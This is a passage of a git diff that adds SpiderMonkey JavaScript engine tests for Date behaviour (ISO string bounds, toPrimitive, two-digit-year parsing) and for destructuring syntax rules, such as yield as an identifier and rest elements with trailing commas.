new file mode 100644
index 000000000..26f0c3e85
--- /dev/null
+++ b/js/src/tests/ecma_6/Date/prototype-is-not-a-date.js
@@ -0,0 +1,15 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 861219;
+var summary = "Date.prototype isn't an instance of Date";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Date.prototype instanceof Date, false);
+assertEq(Date.prototype.__proto__, Object.prototype);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Date/shell.js b/js/src/tests/ecma_6/Date/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Date/shell.js
diff --git a/js/src/tests/ecma_6/Date/toISOString.js b/js/src/tests/ecma_6/Date/toISOString.js
new file mode 100644
index 000000000..cc300a660
--- /dev/null
+++ b/js/src/tests/ecma_6/Date/toISOString.js
@@ -0,0 +1,53 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/publicdomain/zero/1.0/ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 730831;
+var summary = 'Date.prototype.toISOString returns an invalid ISO-8601 string';
+
+print(BUGNUMBER + ": " + summary);
+
+function iso(t) {
+ return new Date(t).toISOString();
+}
+
+function utc(year, month, day, hour, minute, second, millis) {
+ var date = new Date(0);
+ date.setUTCFullYear(year, month - 1, day);
+ date.setUTCHours(hour, minute, second, millis);
+ return date.getTime();
+}
+
+
+// Values around maximum date for simple iso format.
+var maxDateSimple = utc(9999, 12, 31, 23, 59, 59, 999);
+assertEq(iso(maxDateSimple - 1), "9999-12-31T23:59:59.998Z");
+assertEq(iso(maxDateSimple ), "9999-12-31T23:59:59.999Z");
+assertEq(iso(maxDateSimple + 1), "+010000-01-01T00:00:00.000Z");
+
+
+// Values around minimum date for simple iso format.
+var minDateSimple = utc(0, 1, 1, 0, 0, 0, 0);
+assertEq(iso(minDateSimple - 1), "-000001-12-31T23:59:59.999Z");
+assertEq(iso(minDateSimple ), "0000-01-01T00:00:00.000Z");
+assertEq(iso(minDateSimple + 1), "0000-01-01T00:00:00.001Z");
+
+
+// Values around maximum date for extended iso format.
+var maxDateExtended = utc(+275760, 9, 13, 0, 0, 0, 0);
+assertEq(maxDateExtended, +8.64e15);
+assertEq(iso(maxDateExtended - 1), "+275760-09-12T23:59:59.999Z");
+assertEq(iso(maxDateExtended ), "+275760-09-13T00:00:00.000Z");
+assertThrowsInstanceOf(() => iso(maxDateExtended + 1), RangeError);
+
+
+// Values around minimum date for extended iso format.
+var minDateExtended = utc(-271821, 4, 20, 0, 0, 0, 0);
+assertEq(minDateExtended, -8.64e15);
+assertThrowsInstanceOf(() => iso(minDateExtended - 1), RangeError);
+assertEq(iso(minDateExtended ), "-271821-04-20T00:00:00.000Z");
+assertEq(iso(minDateExtended + 1), "-271821-04-20T00:00:00.001Z");
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Date/toPrimitive.js b/js/src/tests/ecma_6/Date/toPrimitive.js
new file mode 100644
index 000000000..11346b1ae
--- /dev/null
+++ b/js/src/tests/ecma_6/Date/toPrimitive.js
@@ -0,0 +1,62 @@
+// ES6 20.3.4.45 Date.prototype[@@toPrimitive](hint)
+
+// The toPrimitive method throws if the this value isn't an object.
+var toPrimitive = Date.prototype[Symbol.toPrimitive];
+assertThrowsInstanceOf(() => toPrimitive.call(undefined, "default"), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(3, "default"), TypeError);
+
+// It doesn't have to be a Date object, though.
+var obj = {
+ toString() { return "str"; },
+ valueOf() { return "val"; }
+};
+assertEq(toPrimitive.call(obj, "number"), "val");
+assertEq(toPrimitive.call(obj, "string"), "str");
+assertEq(toPrimitive.call(obj, "default"), "str");
+
+// It throws if the hint argument is missing or not one of the three allowed values.
+assertThrowsInstanceOf(() => toPrimitive.call(obj), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, undefined), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, "boolean"), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, ["number"]), TypeError);
+assertThrowsInstanceOf(() => toPrimitive.call(obj, {toString() { throw "FAIL"; }}), TypeError);
+
+// The next few tests cover the OrdinaryToPrimitive algorithm, specified in
+// ES6 7.1.1 ToPrimitive(input [, PreferredType]).
+
+// Date.prototype.toString or .valueOf can be overridden.
+var dateobj = new Date();
+Date.prototype.toString = function () {
+ assertEq(this, dateobj);
+ return 14;
+};
+Date.prototype.valueOf = function () {
+ return "92";
+};
+assertEq(dateobj[Symbol.toPrimitive]("number"), "92");
+assertEq(dateobj[Symbol.toPrimitive]("string"), 14);
+assertEq(dateobj[Symbol.toPrimitive]("default"), 14);
+assertEq(dateobj == 14, true); // equality comparison: passes "default"
+
+// If this.toString is a non-callable value, this.valueOf is called instead.
+Date.prototype.toString = {};
+assertEq(dateobj[Symbol.toPrimitive]("string"), "92");
+assertEq(dateobj[Symbol.toPrimitive]("default"), "92");
+
+// And vice versa.
+Date.prototype.toString = function () { return 15; };
+Date.prototype.valueOf = "ponies";
+assertEq(dateobj[Symbol.toPrimitive]("number"), 15);
+
+// If neither is callable, it throws a TypeError.
+Date.prototype.toString = "ponies";
+assertThrowsInstanceOf(() => dateobj[Symbol.toPrimitive]("default"), TypeError);
+
+// Surface features.
+assertEq(toPrimitive.name, "[Symbol.toPrimitive]");
+var desc = Object.getOwnPropertyDescriptor(Date.prototype, Symbol.toPrimitive);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Date/toString-generic.js b/js/src/tests/ecma_6/Date/toString-generic.js
new file mode 100644
index 000000000..caee47d7b
--- /dev/null
+++ b/js/src/tests/ecma_6/Date/toString-generic.js
@@ -0,0 +1,13 @@
+var BUGNUMBER = 861219;
+var summary = 'Date.prototype.toString is a generic function';
+
+print(BUGNUMBER + ": " + summary);
+
+for (var thisValue of [{}, [], /foo/, Date.prototype, new Proxy(new Date(), {})])
+ assertEq(Date.prototype.toString.call(thisValue), "Invalid Date");
+
+for (var prim of [null, undefined, 0, 1.2, true, false, "foo", Symbol.iterator])
+ assertThrowsInstanceOf(() => Date.prototype.toString.call(prim), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Date/two-digit-years.js b/js/src/tests/ecma_6/Date/two-digit-years.js
new file mode 100644
index 000000000..5b8ad3d7b
--- /dev/null
+++ b/js/src/tests/ecma_6/Date/two-digit-years.js
@@ -0,0 +1,69 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+/*
+ * For the sake of cross compatibility with other implementations we
+ * implement date parsing heuristics which support single and double
+ * digit years. See bug: 1265136
+ */
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (let year of Array(100).keys()) {
+ for (let month of Array(12).keys()) {
+ for (let day of Array(31).keys()) {
+ let fullYear = year >= 50 ? year + 1900 : year + 2000;
+ let fullDate = new Date(`${month + 1}/${day + 1}/${fullYear}`);
+
+ // mm/dd/yy
+ let d1 = new Date(`${month + 1}/${day + 1}/${year}`);
+ assertEq(d1.getTime(), fullDate.getTime())
+
+ // yy/mm/dd
+ let d2 = new Date(`${year}/${month + 1}/${day + 1}`);
+ if (year > 31) {
+ assertEq(d2.getTime(), fullDate.getTime())
+ } else if (year > 12) {
+ assertEq(d2.getTime(), new Date(NaN).getTime())
+ }
+ }
+ }
+}
+
+assertEq(new Date("99/1/99").getTime(), new Date(NaN).getTime());
+assertEq(new Date("13/13/13").getTime(), new Date(NaN).getTime());
+assertEq(new Date("0/10/0").getTime(), new Date(NaN).getTime());
+
+// Written months.
+for (let year of Array(1000).keys()) {
+ let fullDate = new Date(`5/1/${year}`);
+ let d1 = new Date(`may ${year} 1`);
+ let d2 = new Date(`may 1 ${year}`);
+
+ let d3 = new Date(`1 may ${year}`);
+ let d4 = new Date(`${year} may 1`);
+
+ let d5 = new Date(`1 ${year} may`);
+ let d6 = new Date(`${year} 1 may`);
+
+ assertEq(d1.getTime(), fullDate.getTime())
+ assertEq(d2.getTime(), fullDate.getTime())
+ assertEq(d3.getTime(), fullDate.getTime())
+ assertEq(d4.getTime(), fullDate.getTime())
+ assertEq(d5.getTime(), fullDate.getTime())
+ assertEq(d6.getTime(), fullDate.getTime())
+}
+
+assertEq(new Date("may 1999 1999").getTime(), new Date(NaN).getTime());
+assertEq(new Date("may 0 0").getTime(), new Date(NaN).getTime());
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/ecma_6/Destructuring/browser.js b/js/src/tests/ecma_6/Destructuring/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/browser.js
diff --git a/js/src/tests/ecma_6/Destructuring/cover-init-name-syntax.js b/js/src/tests/ecma_6/Destructuring/cover-init-name-syntax.js
new file mode 100644
index 000000000..b37d8c290
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/cover-init-name-syntax.js
@@ -0,0 +1,72 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// CoverInitName in arrow parameters.
+({a = 1}, {b = 2}, {c = 3}) => {};
+({a = 1} = {}, {b = 2}, {c = 3}) => {};
+({a = 1} = {}, {b = 2} = {}, {c = 3}) => {};
+({a = 1} = {}, {b = 2} = {}, {c = 3} = {}) => {};
+
+
+// CoverInitName in CoverParenthesizedExpressionAndArrowParameterList,
+// but not ArrowParameters.
+assertThrowsInstanceOf(() => eval(`
+ ({a = 1}, {b = 2}, {c = 3});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ ({a = 1}, {b = 2}, {c = 3} = {});
+`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`
+ ({a = 1}, {b = 2} = {}, {c = 3} = {});
+`), SyntaxError);
+
+
+// CoverInitName nested in array destructuring.
+[{a = 0}] = [{}];
+var [{a = 0}] = [{}];
+{ let [{a = 0}] = [{}]; }
+{ const [{a = 0}] = [{}]; }
+
+for ([{a = 0}] of []);
+for (var [{a = 0}] of []);
+for (let [{a = 0}] of []);
+for (const [{a = 0}] of []);
+
+function f([{a = 0}]) {}
+var h = ([{a = 0}]) => {};
+
+
+// CoverInitName nested in rest pattern.
+[...[{a = 0}]] = [{}];
+var [...[{a = 0}]] = [{}];
+{ let [...[{a = 0}]] = [{}]; }
+{ const [...[{a = 0}]] = [{}]; }
+
+for ([...[{a = 0}]] of []);
+for (var [...[{a = 0}]] of []);
+for (let [...[{a = 0}]] of []);
+for (const [...[{a = 0}]] of []);
+
+function f([...[{a = 0}]]) {}
+var h = ([...[{a = 0}]]) => {};
+
+
+// CoverInitName nested in object destructuring.
+({p: {a = 0}} = {p: {}});
+var {p: {a = 0}} = {p: {}};
+{ let {p: {a = 0}} = {p: {}}; }
+{ const {p: {a = 0}} = {p: {}}; }
+
+for ({p: {a = 0}} of []);
+for (var {p: {a = 0}} of []);
+for (let {p: {a = 0}} of []);
+for (const {p: {a = 0}} of []);
+
+function f({p: {a = 0}}) {}
+var h = ({p: {a = 0}}) => {};
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Destructuring/iterator-primitive.js b/js/src/tests/ecma_6/Destructuring/iterator-primitive.js
new file mode 100644
index 000000000..17d100367
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/iterator-primitive.js
@@ -0,0 +1,36 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+function f([]) {
+}
+
+for (let primitive of primitives) {
+ let obj = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ let [] = obj;
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ [] = obj;
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ f(obj);
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Destructuring/rest-with-trailing-comma.js b/js/src/tests/ecma_6/Destructuring/rest-with-trailing-comma.js
new file mode 100644
index 000000000..310180e14
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/rest-with-trailing-comma.js
@@ -0,0 +1,45 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const invalidSyntax = [
+ "[...r, ]",
+ "[a, ...r, ]",
+ "[a = 0, ...r, ]",
+ "[[], ...r, ]",
+ "[[...r,]]",
+ "[[...r,], ]",
+ "[[...r,], a]",
+];
+
+const validSyntax = [
+ "[, ]",
+ "[a, ]",
+ "[[], ]",
+];
+
+const destructuringForms = [
+ a => `${a} = [];`,
+ a => `var ${a} = [];`,
+ a => `let ${a} = [];`,
+ a => `const ${a} = [];`,
+ a => `(${a}) => {};`,
+ a => `(${a} = []) => {};`,
+ a => `function f(${a}) {}`,
+];
+
+for (let invalid of invalidSyntax) {
+ for (let fn of destructuringForms) {
+ assertThrowsInstanceOf(() => Function(fn(invalid)), SyntaxError);
+ }
+}
+
+for (let invalid of validSyntax) {
+ for (let fn of destructuringForms) {
+ Function(fn(invalid));
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Destructuring/shell.js b/js/src/tests/ecma_6/Destructuring/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/shell.js
diff --git a/js/src/tests/ecma_6/Destructuring/yield-in-object-destr-function.js b/js/src/tests/ecma_6/Destructuring/yield-in-object-destr-function.js
new file mode 100644
index 000000000..9f5eed834
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/yield-in-object-destr-function.js
@@ -0,0 +1,182 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+(function() {
+ var {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+
+ var {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+
+ var {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ var {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ var {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ var {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+(function(){
+ let {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ let {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ let {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ let {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ let {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ let {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+(function() {
+ const {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ const {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ const {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ const {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ const {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ const {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+(function({a: yield} = {a: "yield-with-name"}) {
+ assertEq(yield, "yield-with-name");
+})();
+
+(function({yield} = {yield: "yield-with-shorthand"}) {
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function({yield = 0} = {yield: "yield-with-coverinitname"}) {
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f({a: yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f({yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f({yield = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+(function() {
+ var a, yield;
+
+ ({a: yield} = {a: "yield-with-name"});
+ assertEq(yield, "yield-with-name");
+
+ ({yield} = {yield: "yield-with-shorthand"});
+ assertEq(yield, "yield-with-shorthand");
+
+ ({yield = 0} = {yield: "yield-with-coverinitname"});
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ ({a: yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ ({yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function f() {
+ ({yield = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Destructuring/yield-in-object-destr-generator.js b/js/src/tests/ecma_6/Destructuring/yield-in-object-destr-generator.js
new file mode 100644
index 000000000..4423f8190
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/yield-in-object-destr-generator.js
@@ -0,0 +1,200 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ var {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ var {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ var {yield = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ var {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ var {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ var {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ let {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ let {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ let {yield = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ let {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ let {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ let {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ const {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ const {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ const {yield = 0} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ const {a: yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ const {yield} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ const {yield = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+assertThrowsInstanceOf(() => eval(`
+ function* g({a: yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g({yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g({yield = 0} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g({a: yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g({yield} = {}) { }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g({yield = 0} = {}) { }
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ ({a: yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ ({yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ function* g() {
+ ({yield = 0} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ ({a: yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ ({yield} = {});
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ function* g() {
+ ({yield = 0} = {});
+ }
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Destructuring/yield-in-object-destr-script.js b/js/src/tests/ecma_6/Destructuring/yield-in-object-destr-script.js
new file mode 100644
index 000000000..99b48dd41
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/yield-in-object-destr-script.js
@@ -0,0 +1,123 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+var {a: yield} = {a: "yield-with-name"};
+assertEq(yield, "yield-with-name");
+
+var {yield} = {yield: "yield-with-shorthand"};
+assertEq(yield, "yield-with-shorthand");
+
+var {yield = 0} = {yield: "yield-with-coverinitname"};
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ var {a: yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ var {yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ var {yield = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+{
+ let {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ let {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ let {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ let {a: yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ let {yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ let {yield = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+{
+ const {a: yield} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+}
+
+{
+ const {yield} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+}
+
+{
+ const {yield = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+}
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ const {a: yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ const {yield} = {};
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ const {yield = 0} = {};
+`), SyntaxError);
+
+
+// Destructuring assignment pattern.
+({a: yield} = {a: "yield-with-name"});
+assertEq(yield, "yield-with-name");
+
+({yield} = {yield: "yield-with-shorthand"});
+assertEq(yield, "yield-with-shorthand");
+
+({yield = 0} = {yield: "yield-with-coverinitname"});
+assertEq(yield, "yield-with-coverinitname");
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ({a: yield} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ({yield} = {});
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(`
+ "use strict";
+ ({yield = 0} = {});
+`), SyntaxError);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-function.js b/js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-function.js
new file mode 100644
index 000000000..349badeaf
--- /dev/null
+++ b/js/src/tests/ecma_6/Destructuring/yield-with-escape-in-object-destr-function.js
@@ -0,0 +1,182 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Destructuring binding patterns with var.
+(function() {
+ var {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+
+ var {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+
+ var {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ var {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ var {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ var {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with let.
+(function(){
+ let {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ let {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ let {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ let {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ let {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ let {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns with const.
+(function() {
+ const {a: yi\u0065ld} = {a: "yield-with-name"};
+ assertEq(yield, "yield-with-name");
+})();
+
+(function() {
+ const {yi\u0065ld} = {yield: "yield-with-shorthand"};
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function() {
+ const {yi\u0065ld = 0} = {yield: "yield-with-coverinitname"};
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ const {a: yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ const {yi\u0065ld} = {};
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f() {
+ const {yi\u0065ld = 0} = {};
+ }
+`), SyntaxError);
+
+
+// Destructuring binding patterns in parameters.
+(function({a: yi\u0065ld} = {a: "yield-with-name"}) {
+ assertEq(yield, "yield-with-name");
+})();
+
+(function({yi\u0065ld} = {yield: "yield-with-shorthand"}) {
+ assertEq(yield, "yield-with-shorthand");
+})();
+
+(function({yi\u0065ld = 0} = {yield: "yield-with-coverinitname"}) {
+ assertEq(yield, "yield-with-coverinitname");
+})();
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ "use strict";
+ function f({a: yi\u0065ld} = {}) { }
+`), SyntaxError);
+
